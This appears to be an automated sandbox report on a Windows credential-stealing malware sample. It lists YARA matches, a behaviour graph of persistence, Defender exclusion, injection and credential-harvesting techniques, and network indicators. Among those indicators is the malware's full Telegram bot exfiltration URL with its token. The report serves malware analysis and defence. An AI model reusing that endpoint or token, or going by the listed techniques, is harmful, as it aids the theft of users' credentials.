Source: Yara match File source: 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7676, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 7936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 8104, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1528790 Sample: SecuriteInfo.com.MSIL.Krypt... Startdate: 08/10/2024 Architecture: WINDOWS Score: 100 46 api.telegram.org 2->46 50 Suricata IDS alerts for network traffic 2->50 52 Found malware configuration 2->52 54 Malicious sample detected (through community Yara rule) 2->54 58 11 other signatures 2->58 8 SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe 7 2->8         started        12 eFzAvsOm.exe 2->12         started        signatures3 56 Uses the Telegram API (likely for C&C communication) 46->56 process4 file5 38 C:\Users\user\AppData\Roaming\eFzAvsOm.exe, PE32 8->38 dropped 40 C:\Users\...\eFzAvsOm.exe:Zone.Identifier, ASCII 8->40 dropped 42 C:\Users\user\AppData\Local\...\tmp9A0C.tmp, XML 8->42 dropped 44 SecuriteInfo.com.M...r.18191.767.exe.log, ASCII 8->44 dropped 60 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 8->60 62 Uses schtasks.exe or at.exe to add and modify task schedules 8->62 64 Adds a directory exclusion to Windows Defender 8->64 66 Injects a PE file into a foreign processes 8->66 14 SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe 15 2 8->14         started        18 powershell.exe 23 8->18         started        20 powershell.exe 23 8->20         started        22 schtasks.exe 1 8->22         started        68 Multi AV Scanner detection for dropped file 12->68 70 Machine Learning detection for dropped file 12->70 24 eFzAvsOm.exe 12->24         started        26 schtasks.exe 12->26         started        signatures6 process7 dnsIp8 48 api.telegram.org 149.154.167.220, 443, 49734, 49736 TELEGRAMRU United Kingdom 14->48 72 Loading BitLocker PowerShell Module 18->72 28 WmiPrvSE.exe 18->28         started        30 conhost.exe 18->30         started        32 conhost.exe 20->32         started        34 conhost.exe 22->34         started        74 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 24->74 76 Tries to steal Mail credentials (via file / registry access) 24->76 78 Tries to harvest and steal ftp login credentials 24->78 80 Tries to harvest and steal browser information (history, passwords, etc) 24->80 36 conhost.exe 26->36         started        signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true

Contacted Domains

Name IP Active
api.telegram.org 149.154.167.220 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.telegram.org/bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/sendDocument true unknown